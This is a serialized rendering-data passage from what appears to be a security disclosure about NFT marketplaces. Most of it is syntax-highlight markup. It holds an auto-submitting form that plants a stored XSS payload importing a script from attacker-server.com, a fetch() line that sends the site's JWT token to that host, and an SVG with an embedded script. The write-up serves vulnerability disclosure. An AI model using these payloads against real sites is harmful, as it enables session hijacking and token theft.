\u003C/script>\n\u003C/html>\n",[34525],{"type":22,"tag":257,"props":34526,"children":34527},{"__ignoreMap":7},[34528,34543,34558,34589,34664,34715,34903,34942,34957,34972,34979,34994,35001,35012,35063,35070,35125,35152,35187,35194,35229,35236,35257,35268,35275,35290],{"type":22,"tag":264,"props":34529,"children":34530},{"class":1534,"line":1535},[34531,34535,34539],{"type":22,"tag":264,"props":34532,"children":34533},{"style":33691},[34534],{"type":27,"value":7097},{"type":22,"tag":264,"props":34536,"children":34537},{"style":4293},[34538],{"type":27,"value":33698},{"type":22,"tag":264,"props":34540,"children":34541},{"style":33691},[34542],{"type":27,"value":7284},{"type":22,"tag":264,"props":34544,"children":34545},{"class":1534,"line":1545},[34546,34550,34554],{"type":22,"tag":264,"props":34547,"children":34548},{"style":33691},[34549],{"type":27,"value":33710},{"type":22,"tag":264,"props":34551,"children":34552},{"style":4293},[34553],{"type":27,"value":33715},{"type":22,"tag":264,"props":34555,"children":34556},{"style":33691},[34557],{"type":27,"value":7284},{"type":22,"tag":264,"props":34559,"children":34560},{"class":1534,"line":1560},[34561,34565,34569,34573,34577,34581,34585],{"type":22,"tag":264,"props":34562,"children":34563},{"style":33691},[34564],{"type":27,"value":33710},{"type":22,"tag":264,"props":34566,"children":34567},{"style":4293},[34568],{"type":27,"value":33731},{"type":22,"tag":264,"props":34570,"children":34571},{"style":33691},[34572],{"type":27,"value":11760},{"type":22,"tag":264,"props":34574,"children":34575},{"style":1539},[34576],{"type":27,"value":33740},{"type":22,"tag":264,"props":34578,"children":34579},{"style":33691},[34580],{"type":27,"value":33745},{"type":22,"tag":264,"props":34582,"children":34583},{"style":4293},[34584],{"type":27,"value":33731},{"type":22,"tag":264,"props":34586,"children":34587},{"style":33691},[34588],{"type":27,"value":7284},{"type":22,"tag":264,"props":34590,"children":34591},{"class":1534,"line":1569},[34592,34596,34600,34604,34608,34612,34616,34620,34624,34628,34632,34636,34640,34644,34648,34652,34656,34660],{"type":22,"tag":264,"props":34593,"children":34594},{"style":33691},[34595],{"type":27,"value":33761},{"type":22,"tag":264,"props":34597,"children":34598},{"style":4293},[34599],{"type":27,"value":33766},{"type":22,"tag":264,"props":34601,"children":34602},{"style":1549},[34603],{"type":27,"value":33771},{"type":22,"tag":264,"props":34605,"children":34606},{"style":4309},[34607],{"type":27,"value":429},{"type":22,"tag":264,"props":34609,"children":34610},{"style":1597},[34611],{"type":27,"value":33780},{"type":22,"tag":264,"props":34613,"children":34614},{"style":1549},[34615],{"type":27,"value":33785},{"type":22,"tag":264,"props":34617,"children":34618},{"style":4309},[34619],{"type":27,"value":429},{"type":22,"tag":264,"props":34621,"children":34622},{"style":1597},[34623],{"type":27,"value":33794},{"type":22,"tag":264,"props":34625,"children":34626},{"style":1549},[34627],{"type":27,"value":18412},{"type":22,"tag":264,"props":34629,"children":34630},{"style":4309},[34631],{"type":27,"value":429},{"type":22,"tag":264,"props":34633,"children":34634},{"style":1597},[34635],{"type":27,"value":33807},{"type":22,"tag":264,"props":34637,"children":34638},{"style":1549},[34639],{"type":27,"value":33812},{"type":22,"tag":264,"props":34641,"children":34642},{"style":4309},[34643],{"type":27,"value":429},{"type":22,"tag":264,"props":34645,"children":34646},{"style":1597},[34647],{"type":27,"value":33821},{"type":22,"tag":264,"props":34649,"children":34650},{"style":1549},[34651],{"type":27,"value":33826},{"type":22,"tag":264,"props":34653,"children":34654},{"style":4309},[34655],{"type":27,"value":429},{"type":22,"tag":264,"props":34657,"children":34658},{"style":1597},[34659],{"type":27,"value":33835},{"type":22,"tag":264,"props":34661,"children":34662},{"style":33691},[34663],{"type":27,"value":7284},{"type":22,"tag":264,"props":34665,"children":34666},{"class":1534,"line":1583},[34667,34671,34675,34679,34683,34687,34691,34695,34699,34703,34707,34711],{"type":22,"tag":264,"props":34668,"children":34669},{"style":33691},[34670],{"type":27,"value":33847},{"type":22,"tag":264,"props":34672,"children":34673},{"style":4293},[34674],{"type":27,"value":9661},{"type":22,"tag":264,"props":34676,"children":34677},{"style":1549},[34678],{"type":27,"value":33856},{"type":22,"tag":264,"props":34680,"children":34681},{"style":4309},[34682],{"type":27,"value":429},{"type":22,"tag":264,"props":34684,"children":34685},{"style":1597},[34686],{"type":27,"value":33865},{"type":22,"tag":264,"props":34688,"children":34689},{"style":1549},[34690],{"type":27,"value":33870},{"type":22,"tag":264,"props":34692,"children":34693},{"style":4309},[34694],{"type":27,"value":429},{"type":22,"tag":264,"props":34696,"children":34697},{"style":1597},[34698],{"type":27,"value":33879},{"type":22,"tag":264,"props":34700,"children":34701},{"style":1549},[34702],{"type":27,"value":33771},{"type":22,"tag":264,"props":34704,"children":34705},{"style":4309},[34706],{"type":27,"value":429},{"type":22,"tag":264,"props":34708,"children":34709},{"style":1597},[34710],{"type":27,"value":33892},{"type":22,"tag":264,"props":34712,"children":34713},{"style":33691},[34714],{"type":27,"value":7284},{"type":22,"tag":264,"props":34716,"children":34717},{"class":1534,"line":1603},[34718,34722,34726,34730,34734,34738,34742,34746,34750,34754,34758,34762,34767,34771,34776,34780,34785,34789,34794,34799,34803,34807,34812,34817,34822,34827,34832,34837,34841,34846,34850,34854,34859,34863,34868,34873,34878,34882,34886,34890,34895,34899],{"type":22,"tag":264,"props":34719,"children":34720},{"style":33691},[34721],{"type":27,"value":33904},{"type":22,"tag":264,"props":34723,"children":34724},{"style":4293},[34725],{"type":27,"value":9661},{"type":22,"tag":264,"props":34727,"children":34728},{"style":1549},[34729],{"type":27,"value":33856},{"type":22,"tag":264,"props":34731,"children":34732},{"style":4309},[34733],{"type":27,"value":429},{"type":22,"tag":264,"props":34735,"children":34736},{"style":1597},[34737],{"type":27,"value":33921},{"type":22,"tag":264,"props":34739,"children":34740},{"style":1549},[34741],{"type":27,"value":33870},{"type":22,"tag":264,"props":34743,"children":34744},{"style":4309},[34745],{"type":27,"value":429},{"type":22,"tag":264,"props":34747,"children":34748},{"style":1597},[34749],{"type":27,"value":33934},{"type":22,"tag":264,"props":34751,"children":34752},{"style":1549},[34753],{"type":27,"value":33826},{"type":22,"tag":264,"props":34755,"children":34756},{"style":4309},[34757],{"type":27,"value":429},{"type":22,"tag":264,"props":34759,"children":34760},{"style":1597},[34761],{"type":27,"value":21366},{"type":22,"tag":264,"props":34763,"children":34764},{"style":4293},[34765],{"type":27,"value":34766},"{"",{"type":22,"tag":264,"props":34768,"children":34769},{"style":1597},[34770],{"type":27,"value":33956},{"type":22,"tag":264,"props":34772,"children":34773},{"style":4293},[34774],{"type":27,"value":34775},"":"<",{"type":22,"tag":264,"props":34777,"children":34778},{"style":1597},[34779],{"type":27,"value":215},{"type":22,"tag":264,"props":34781,"children":34782},{"style":4293},[34783],{"type":27,"value":34784},"/",{"type":22,"tag":264,"props":34786,"children":34787},{"style":1597},[34788],{"type":27,"value":33985},{"type":22,"tag":264,"props":34790,"children":34791},{"style":4293},[34792],{"type":27,"value":34793},"=",{"type":22,"tag":264,"props":34795,"children":34796},{"style":1597},[34797],{"type":27,"value":34798},"x onerror",{"type":22,"tag":264,"props":34800,"children":34801},{"style":4293},[34802],{"type":27,"value":34793},{"type":22,"tag":264,"props":34804,"children":34805},{"style":1597},[34806],{"type":27,"value":20789},{"type":22,"tag":264,"props":34808,"children":34809},{"style":4293},[34810],{"type":27,"value":34811},"(`",{"type":22,"tag":264,"props":34813,"children":34814},{"style":1597},[34815],{"type":27,"value":34816},"https",{"type":22,"tag":264,"props":34818,"children":34819},{"style":4293},[34820],{"type":27,"value":34821},"://",{"type":22,"tag":264,"props":34823,"children":34824},{"style":1597},[34825],{"type":27,"value":34826},"attacker-server",{"type":22,"tag":264,"props":34828,"children":34829},{"style":4293},[34830],{"type":27,"value":34831},".",{"type":22,"tag":264,"props":34833,"children":34834},{"style":1597},[34835],{"type":27,"value":34836},"com",{"type":22,"tag":264,"props":34838,"children":34839},{"style":4293},[34840],{"type":27,"value":34784},{"type":22,"tag":264,"props":34842,"children":34843},{"style":1597},[34844],{"type":27,"value":34845},"leak",{"type":22,"tag":264,"props":34847,"children":34848},{"style":4293},[34849],{"type":27,"value":34831},{"type":22,"tag":264,"props":34851,"children":34852},{"style":1597},[34853],{"type":27,"value":32680},{"type":22,"tag":264,"props":34855,"children":34856},{"style":4293},[34857],{"type":27,"value":34858},"`)>","",{"type":22,"tag":264,"props":34860,"children":34861},{"style":1597},[34862],{"type":27,"value":34043},{"type":22,"tag":264,"props":34864,"children":34865},{"style":4293},[34866],{"type":27,"value":34867},"":"",{"type":22,"tag":264,"props":34869,"children":34870},{"style":1597},[34871],{"type":27,"value":34872},"profile-assets",{"type":22,"tag":264,"props":34874,"children":34875},{"style":4293},[34876],{"type":27,"value":34877},"","",{"type":22,"tag":264,"props":34879,"children":34880},{"style":1597},[34881],{"type":27,"value":34072},{"type":22,"tag":264,"props":34883,"children":34884},{"style":4293},[34885],{"type":27,"value":34867},{"type":22,"tag":264,"props":34887,"children":34888},{"style":1597},[34889],{"type":27,"value":34081},{"type":22,"tag":264,"props":34891,"children":34892},{"style":4293},[34893],{"type":27,"value":34894},""}",{"type":22,"tag":264,"props":34896,"children":34897},{"style":1597},[34898],{"type":27,"value":21366},{"type":22,"tag":264,"props":34900,"children":34901},{"style":33691},[34902],{"type":27,"value":34095},{"type":22,"tag":264,"props":34904,"children":34905},{"class":1534,"line":1612},[34906,34910,34914,34918,34922,34926,34930,34934,34938],{"type":22,"tag":264,"props":34907,"children":34908},{"style":33691},[34909],{"type":27,"value":33904},{"type":22,"tag":264,"props":34911,"children":34912},{"style":4293},[34913],{"type":27,"value":9661},{"type":22,"tag":264,"props":34915,"children":34916},{"style":1549},[34917],{"type":27,"value":33856},{"type":22,"tag":264,"props":34919,"children":34920},{"style":4309},[34921],{"type":27,"value":429},{"type":22,"tag":264,"props":34923,"children":34924},{"style":1597},[34925],{"type":27,"value":34119},{"type":22,"tag":264,"props":34927,"children":34928},{"style":1549},[34929],{"type":27,"value":33826},{"type":22,"tag":264,"props":34931,"children":34932},{"style":4309},[34933],{"type":27,"value":429},{"type":22,"tag":264,"props":34935,"children":34936},{"style":1597},[34937],{"type":27,"value":34132},{"type":22,"tag":264,"props":34939,"children":34940},{"style":33691},[34941],{"type":27,"value":34095},{"type":22,"tag":264,"props":34943,"children":34944},{"class":1534,"line":1621},[34945,34949,34953],{"type":22,"tag":264,"props":34946,"children":34947},{"style":33691},[34948],{"type":27,"value":34144},{"type":22,"tag":264,"props":34950,"children":34951},{"style":4293},[34952],{"type":27,"value":33766},{"type":22,"tag":264,"props":34954,"children":34955},{"style":33691},[34956],{"type":27,"value":7284},{"type":22,"tag":264,"props":34958,"children":34959},{"class":1534,"line":1629},[34960,34964,34968],{"type":22,"tag":264,"props":34961,"children":34962},{"style":33691},[34963],{"type":27,"value":34160},{"type":22,"tag":264,"props":34965,"children":34966},{"style":4293},[34967],{"type":27,"value":33715},{"type":22,"tag":264,"props":34969,"children":34970},{"style":33691},[34971],{"type":27,"value":7284},{"type":22,"tag":264,"props":34973,"children":34974},{"class":1534,"line":1642},[34975],{"type":22,"tag":264,"props":34976,"children":34977},{"emptyLinePlaceholder":17},[34978],{"type":27,"value":4986},{"type":22,"tag":264,"props":34980,"children":34981},{"class":1534,"line":1660},[34982,34986,34990],{"type":22,"tag":264,"props":34983,"children":34984},{"style":33691},[34985],{"type":27,"value":33710},{"type":22,"tag":264,"props":34987,"children":34988},{"style":4293},[34989],{"type":27,"value":33731},{"type":22,"tag":264,"props":34991,"children":34992},{"style":33691},[34993],{"type":27,"value":7284},{"type":22,"tag":264,"props":34995,"children":34996},{"class":1534,"line":1668},[34997],{"type":22,"tag":264,"props":34998,"children":34999},{"emptyLinePlaceholder":17},[35000],{"type":27,"value":4986},{"type":22,"tag":264,"props":35002,"children":35003},{"class":1534,"line":1677},[35004,35008],{"type":22,"tag":264,"props":35005,"children":35006},{"style":1539},[35007],{"type":27,"value":34205},{"type":22,"tag":264,"props":35009,"children":35010},{"style":4293},[35011],{"type":27,"value":1542},{"type":22,"tag":264,"props":35013,"children":35014},{"class":1534,"line":1686},[35015,35019,35023,35027,35031,35035,35039,35043,35047,35051,35055,35059],{"type":22,"tag":264,"props":35016,"children":35017},{"style":1549},[35018],{"type":27,"value":34217},{"type":22,"tag":264,"props":35020,"children":35021},{"style":1549},[35022],{"type":27,"value":34222},{"type":22,"tag":264,"props":35024,"children":35025},{"style":4309},[35026],{"type":27,"value":34227},{"type":22,"tag":264,"props":35028,"children":35029},{"style":4328},[35030],{"type":27,"value":34232},{"type":22,"tag":264,"props":35032,"children":35033},{"style":4309},[35034],{"type":27,"value":4370},{"type":22,"tag":264,"props":35036,"children":35037},{"style":4328},[35038],{"type":27,"value":34232},{"type":22,"tag":264,"props":35040,"children":35041},{"style":4401},[35042],{"type":27,"value":34245},{"type":22,"tag":264,"props":35044,"children":35045},{"style":4309},[35046],{"type":27,"value":2660},{"type":22,"tag":264,"props":35048,"children":35049},{"style":1597},[35050],{"type":27,"value":34254},{"type":22,"tag":264,"props":35052,"children":35053},{"style":4309},[35054],{"type":27,"value":34259},{"type":22,"tag":264,"props":35056,"children":35057},{"style":4401},[35058],{"type":27,"value":34264},{"type":22,"tag":264,"props":35060,"children":35061},{"style":4309},[35062],{"type":27,"value":9029},{"type":22,"tag":264,"props":35064,"children":35065},{"class":1534,"line":4948},[35066],{"type":22,"tag":264,"props":35067,"children":35068},{"emptyLinePlaceholder":17},[35069],{"type":27,"value":4986},{"type":22,"tag":264,"props":35071,"children":35072},{"class":1534,"line":4957},[35073,35077,35081,35085,35089,35093,35097,35101,35105,35109,35113,35117,35121],{"type":22,"tag":264,"props":35074,"children":35075},{"style":1549},[35076],{"type":27,"value":4365},{"type":22,"tag":264,"props":35078,"children":35079},{"style":1549},[35080],{"type":27,"value":34287},{"type":22,"tag":264,"props":35082,"children":35083},{"style":4309},[35084],{"type":27,"value":34227},{"type":22,"tag":264,"props":35086,"children":35087},{"style":4293},[35088],{"type":27,"value":16422},{"type":22,"tag":264,"props":35090,"children":35091},{"style":4401},[35092],{"type":27,"value":34300},{"type":22,"tag":264,"props":35094,"children":35095},{"style":4309},[35096],{"type":27,"value":34305},{"type":22,"tag":264,"props":35098,"children":35099},{"style":1549},[35100],{"type":27,"value":34264},{"type":22,"tag":264,"props":35102,"children":35103},{"style":4309},[35104],{"type":27,"value":24361},{"type":22,"tag":264,"props":35106,"children":35107},{"style":1597},[35108],{"type":27,"value":34318},{"type":22,"tag":264,"props":35110,"children":35111},{"style":4309},[35112],{"type":27,"value":34323},{"type":22,"tag":264,"props":35114,"children":35115},{"style":1549},[35116],{"type":27,"value":34328},{"type":22,"tag":264,"props":35118,"children":35119},{"style":1597},[35120],{"type":27,"value":34333},{"type":22,"tag":264,"props":35122,"children":35123},{"style":4309},[35124],{"type":27,"value":34338},{"type":22,"tag":264,"props":35126,"children":35127},{"class":1534,"line":4980},[35128,35132,35136,35140,35144,35148],{"type":22,"tag":264,"props":35129,"children":35130},{"style":1549},[35131],{"type":27,"value":34217},{"type":22,"tag":264,"props":35133,"children":35134},{"style":1549},[35135],{"type":27,"value":34350},{"type":22,"tag":264,"props":35137,"children":35138},{"style":4309},[35139],{"type":27,"value":34227},{"type":22,"tag":264,"props":35141,"children":35142},{"style":4293},[35143],{"type":27,"value":16422},{"type":22,"tag":264,"props":35145,"children":35146},{"style":4401},[35147],{"type":27,"value":34363},{"type":22,"tag":264,"props":35149,"children":35150},{"style":4309},[35151],{"type":27,"value":4977},{"type":22,"tag":264,"props":35153,"children":35154},{"class":1534,"line":4989},[35155,35159,35163,35167,35171,35175,35179,35183],{"type":22,"tag":264,"props":35156,"children":35157},{"style":1549},[35158],{"type":27,"value":34375},{"type":22,"tag":264,"props":35160,"children":35161},{"style":4309},[35162],{"type":27,"value":210},{"type":22,"tag":264,"props":35164,"children":35165},{"style":1549},[35166],{"type":27,"value":34384},{"type":22,"tag":264,"props":35168,"children":35169},{"style":4309},[35170],{"type":27,"value":210},{"type":22,"tag":264,"props":35172,"children":35173},{"style":4401},[35174],{"type":27,"value":10936},{"type":22,"tag":264,"props":35176,"children":35177},{"style":4309},[35178],{"type":27,"value":2660},{"type":22,"tag":264,"props":35180,"children":35181},{"style":1549},[35182],{"type":27,"value":34401},{"type":22,"tag":264,"props":35184,"children":35185},{"style":4309},[35186],{"type":27,"value":5142},{"type":22,"tag":264,"props":35188,"children":35189},{"class":1534,"line":4998},[35190],{"type":22,"tag":264,"props":35191,"children":35192},{"emptyLinePlaceholder":17},[35193],{"type":27,"value":4986},{"type":22,"tag":264,"props":35195,"children":35196},{"class":1534,"line":5067},[35197,35201,35205,35209,35213,35217,35221,35225],{"type":22,"tag":264,"props":35198,"children":35199},{"style":1549},[35200],{"type":27,"value":34420},{"type":22,"tag":264,"props":35202,"children":35203},{"style":4309},[35204],{"type":27,"value":210},{"type":22,"tag":264,"props":35206,"children":35207},{"style":1549},[35208],{"type":27,"value":34429},{"type":22,"tag":264,"props":35210,"children":35211},{"style":4309},[35212],{"type":27,"value":34227},{"type":22,"tag":264,"props":35214,"children":35215},{"style":1549},[35216],{"type":27,"value":34438},{"type":22,"tag":264,"props":35218,"children":35219},{"style":4309},[35220],{"type":27,"value":210},{"type":22,"tag":264,"props":35222,"children":35223},{"style":1549},[35224],{"type":27,"value":34429},{"type":22,"tag":264,"props":35226,"children":35227},{"style":4309},[35228],{"type":27,"value":4322},{"type":22,"tag":264,"props":35230,"children":35231},{"class":1534,"line":5075},[35232],{"type":22,"tag":264,"props":35233,"children":35234},{"emptyLinePlaceholder":17},[35235],{"type":27,"value":4986},{"type":22,"tag":264,"props":35237,"children":35238},{"class":1534,"line":5105},[35239,35244,35248,35253],{"type":22,"tag":264,"props":35240,"children":35241},{"style":1549},[35242],{"type":27,"value":35243},"        form123",{"type":22,"tag":264,"props":35245,"children":35246},{"style":4309},[35247],{"type":27,"value":210},{"type":22,"tag":264,"props":35249,"children":35250},{"style":4401},[35251],{"type":27,"value":35252},"submit",{"type":22,"tag":264,"props":35254,"children":35255},{"style":4309},[35256],{"type":27,"value":9029},{"type":22,"tag":264,"props":35258,"children":35259},{"class":1534,"line":5113},[35260,35264],{"type":22,"tag":264,"props":35261,"children":35262},{"style":4293},[35263],{"type":27,"value":34458},{"type":22,"tag":264,"props":35265,"children":35266},{"style":1539},[35267],{"type":27,"value":34463},{"type":22,"tag":264,"props":35269,"children":35270},{"class":1534,"line":5145},[35271],{"type":22,"tag":264,"props":35272,"children":35273},{"emptyLinePlaceholder":17},[35274],{"type":27,"value":4986},{"type":22,"tag":264,"props":35276,"children":35277},{"class":1534,"line":5153},[35278,35282,35286],{"type":22,"tag":264,"props":35279,"children":35280},{"style":33691},[35281],{"type":27,"value":34160},{"type":22,"tag":264,"props":35283,"children":35284},{"style":4293},[35285],{"type":27,"value":33731},{"type":22,"tag":264,"props":35287,"children":35288},{"style":33691},[35289],{"type":27,"value":7284},{"type":22,"tag":264,"props":35291,"children":35292},{"class":1534,"line":5213},[35293,35297,35301],{"type":22,"tag":264,"props":35294,"children":35295},{"style":33691},[35296],{"type":27,"value":33745},{"type":22,"tag":264,"props":35298,"children":35299},{"style":4293},[35300],{"type":27,"value":33698},{"type":22,"tag":264,"props":35302,"children":35303},{"style":33691},[35304],{"type":27,"value":7284},{"type":22,"tag":23,"props":35306,"children":35307},{},[35308],{"type":27,"value":35309},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":22,"tag":618,"props":35311,"children":35313},{"className":1525,"code":35312,"language":1527,"meta":7,"style":7},"{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n",[35314],{"type":22,"tag":257,"props":35315,"children":35316},{"__ignoreMap":7},[35317,35324,35345,35366,35383],{"type":22,"tag":264,"props":35318,"children":35319},{"class":1534,"line":1535},[35320],{"type":22,"tag":264,"props":35321,"children":35322},{"style":1539},[35323],{"type":27,"value":1542},{"type":22,"tag":264,"props":35325,"children":35326},{"class":1534,"line":1545},[35327,35332,35336,35341],{"type":22,"tag":264,"props":35328,"children":35329},{"style":1549},[35330],{"type":27,"value":35331},"  \"address\"",{"type":22,"tag":264,"props":35333,"children":35334},{"style":1539},[35335],{"type":27,"value":1594},{"type":22,"tag":264,"props":35337,"children":35338},{"style":1597},[35339],{"type":27,"value":35340},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":22,"tag":264,"props":35342,"children":35343},{"style":1539},[35344],{"type":27,"value":4812},{"type":22,"tag":264,"props":35346,"children":35347},{"class":1534,"line":1560},[35348,35353,35357,35362],{"type":22,"tag":264,"props":35349,"children":35350},{"style":1549},[35351],{"type":27,"value":35352},"  \"to\"",{"type":22,"tag":264,"props":35354,"children":35355},{"style":1539},[35356],{"type":27,"value":1594},{"type":22,"tag":264,"props":35358,"children":35359},{"style":1597},[35360],{"type":27,"value":35361},"\"profile-assets\"",{"type":22,"tag":264,"props":35363,"children":35364},{"style":1539},[35365],{"type":27,"value":4812},{"type":22,"tag":264,"props":35367,"children":35368},{"class":1534,"line":1569},[35369,35374,35378],{"type":22,"tag":264,"props":35370,"children":35371},{"style":1549},[35372],{"type":27,"value":35373},"  \"type\"",{"type":22,"tag":264,"props":35375,"children":35376},{"style":1539},[35377],{"type":27,"value":1594},{"type":22,"tag":264,"props":35379,"children":35380},{"style":1597},[35381],{"type":27,"value":35382},"\"icon\"\n",{"type":22,"tag":264,"props":35384,"children":35385},{"class":1534,"line":1583},[35386],{"type":22,"tag":264,"props":35387,"children":35388},{"style":1539},[35389],{"type":27,"value":1692},{"type":22,"tag":23,"props":35391,"children":35392},{},[35393],{"type":27,"value":35394},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":22,"tag":618,"props":35396,"children":35398},{"className":32678,"code":35397,"language":32680,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[35399],{"type":22,"tag":257,"props":35400,"children":35401},{"__ignoreMap":7},[35402],{"type":22,"tag":264,"props":35403,"children":35404},{"class":1534,"line":1535},[35405,35410,35414,35419,35424,35429,35433,35438,35442,35447,35451,35456,35460],{"type":22,"tag":264,"props":35406,"children":35407},{"style":4401},[35408],{"type":27,"value":35409},"fetch",{"type":22,"tag":264,"props":35411,"children":35412},{"style":1539},[35413],{"type":27,"value":2660},{"type":22,"tag":264,"props":35415,"children":35416},{"style":1597},[35417],{"type":27,"value":35418},"`https://attacker-server.com/?token_leak=",{"type":22,"tag":264,"props":35420,"children":35421},{"style":4293},[35422],{"type":27,"value":35423},"${",{"type":22,"tag":264,"props":35425,"children":35426},{"style":1549},[35427],{"type":27,"value":35428},"localStorage",{"type":22,"tag":264,"props":35430,"children":35431},{"style":4309},[35432],{"type":27,"value":210},{"type":22,"tag":264,"props":35434,"children":35435},{"style":4401},[35436],{"type":27,"value":35437},"getItem",{"type":22,"tag":264,"props":35439,"children":35440},{"style":4309},[35441],{"type":27,"value":2660},{"type":22,"tag":264,"props":35443,"children":35444},{"style":1597},[35445],{"type":27,"value":35446},"'token'",{"type":22,"tag":264,"props":35448,"children":35449},{"style":4309},[35450],{"type":27,"value":2806},{"type":22,"tag":264,"props":35452,"children":35453},{"style":4293},[35454],{"type":27,"value":35455},"}",{"type":22,"tag":264,"props":35457,"children":35458},{"style":1597},[35459],{"type":27,"value":11680},{"type":22,"tag":264,"props":35461,"children":35462},{"style":1539},[35463],{"type":27,"value":5142},{"type":22,"tag":181,"props":35465,"children":35467},{"id":35466},"svgs",[35468],{"type":27,"value":35469},"SVGs",{"type":22,"tag":23,"props":35471,"children":35472},{},[35473],{"type":27,"value":35474},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":22,"tag":23,"props":35476,"children":35477},{},[35478],{"type":27,"value":35479},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":22,"tag":618,"props":35481,"children":35483},{"className":32678,"code":35482,"language":32680,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[35484],{"type":22,"tag":257,"props":35485,"children":35486},{"__ignoreMap":7},[35487,35533,35570,35577,35606,35638,35666,35674,35690],{"type":22,"tag":264,"props":35488,"children":35489},{"class":1534,"line":1535},[35490,35495,35500,35505,35509,35514,35519,35523,35528],{"type":22,"tag":264,"props":35491,"children":35492},{"style":4309},[35493],{"type":27,"value":35494},"\u003C?",{"type":22,"tag":264,"props":35496,"children":35497},{"style":1549},[35498],{"type":27,"value":35499},"xml",{"type":22,"tag":264,"props":35501,"children":35502},{"style":1549},[35503],{"type":27,"value":35504}," version",{"type":22,"tag":264,"props":35506,"children":35507},{"style":4309},[35508],{"type":27,"value":429},{"type":22,"tag":264,"props":35510,"children":35511},{"style":1597},[35512],{"type":27,"value":35513},"\"1.0\"",{"type":22,"tag":264,"props":35515,"children":35516},{"style":1549},[35517],{"type":27,"value":35518}," encoding",{"type":22,"tag":264,"props":35520,"children":35521},{"style":4309},[35522],{"type":27,"value":429},{"type":22,"tag":264,"props":35524,"children":35525},{"style":1597},[35526],{"type":27,"value":35527},"\"UTF-8\"",{"type":22,"tag":264,"props":35529,"children":35530},{"style":4309},[35531],{"type":27,"value":35532},"?>\n",{"type":22,"tag":264,"props":35534,"children":35535},{"class":1534,"line":1545},[35536,35541,35546,35551,35556,35561,35566],{"type":22,"tag":264,"props":35537,"children":35538},{"style":4309},[35539],{"type":27,"value":35540},"\u003C!",{"type":22,"tag":264,"props":35542,"children":35543},{"style":1549},[35544],{"type":27,"value":35545},"DOCTYPE",{"type":22,"tag":264,"props":35547,"children":35548},{"style":1549},[35549],{"type":27,"value":35550}," svg",{"type":22,"tag":264,"props":35552,"children":35553},{"style":1549},[35554],{"type":27,"value":35555}," PUBLIC",{"type":22,"tag":264,"props":35557,"children":35558},{"style":1597},[35559],{"type":27,"value":35560}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":22,"tag":264,"props":35562,"children":35563},{"style":1597},[35564],{"type":27,"value":35565}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":22,"tag":264,"props":35567,"children":35568},{"style":4309},[35569],{"type":27,"value":7284},{"type":22,"tag":264,"props":35571,"children":35572},{"class":1534,"line":1560},[35573],{"type":22,"tag":264,"props":35574,"children":35575},{"emptyLinePlaceholder":17},[35576],{"type":27,"value":4986},{"type":22,"tag":264,"props":35578,"children":35579},{"class":1534,"line":1569},[35580,35584,35588,35593,35597,35602],{"type":22,"tag":264,"props":35581,"children":35582},{"style":33691},[35583],{"type":27,"value":10014},{"type":22,"tag":264,"props":35585,"children":35586},{"style":4293},[35587],{"type":27,"value":2968},{"type":22,"tag":264,"props":35589,"children":35590},{"style":1549},[35591],{"type":27,"value":35592}," xmlns",{"type":22,"tag":264,"props":35594,"children":35595},{"style":4309},[35596],{"type":27,"value":429},{"type":22,"tag":264,"props":35598,"children":35599},{"style":1597},[35600],{"type":27,"value":35601},"\"http://www.w3.org/2000/svg\"",{"type":22,"tag":264,"props":35603,"children":35604},{"style":33691},[35605],{"type":27,"value":7284},{"type":22,"tag":264,"props":35607,"children":35608},{"class":1534,"line":1583},[35609,35613,35618,35622,35626,35630,35634],{"type":22,"tag":264,"props":35610,"children":35611},{"style":33691},[35612],{"type":27,"value":33710},{"type":22,"tag":264,"props":35614,"children":35615},{"style":4293},[35616],{"type":27,"value":35617},"title",{"type":22,"tag":264,"props":35619,"children":35620},{"style":33691},[35621],{"type":27,"value":11760},{"type":22,"tag":264,"props":35623,"children":35624},{"style":1539},[35625],{"type":27,"value":32552},{"type":22,"tag":264,"props":35627,"children":35628},{"style":33691},[35629],{"type":27,"value":33745},{"type":22,"tag":264,"props":35631,"children":35632},{"style":4293},[35633],{"type":27,"value":35617},{"type":22,"tag":264,"props":35635,"children":35636},{"style":33691},[35637],{"type":27,"value":7284},{"type":22,"tag":264,"props":35639,"children":35640},{"class":1534,"line":1603},[35641,35645,35649,35653,35657,35662],{"type":22,"tag":264,"props":35642,"children":35643},{"style":33691},[35644],{"type":27,"value":33710},{"type":22,"tag":264,"props":35646,"children":35647},{"style":4293},[35648],{"type":27,"value":33731},{"type":22,"tag":264,"props":35650,"children":35651},{"style":1549},[35652],{"type":27,"value":33856},{"type":22,"tag":264,"props":35654,"children":35655},{"style":4309},[35656],{"type":27,"value":429},{"type":22,"tag":264,"props":35658,"children":35659},{"style":1597},[35660],{"type":27,"value":35661},"\"text/javascript\"",{"type":22,"tag":264,"props":35663,"children":35664},{"style":33691},[35665],{"type":27,"value":7284},{"type":22,"tag":264,"props":35667,"children":35668},{"class":1534,"line":1612},[35669],{"type":22,"tag":264,"props":35670,"children":35671},{"style":1539},[35672],{"type":27,"value":35673},"   alert(document.domain);\n",{"type":22,"tag":264,"props":35675,"children":35676},{"class":1534,"line":1621},[35677,35682,35686],{"type":22,"tag":264,"props":35678,"children":35679},{"style":33691},[35680],{"type":27,"value":35681},"   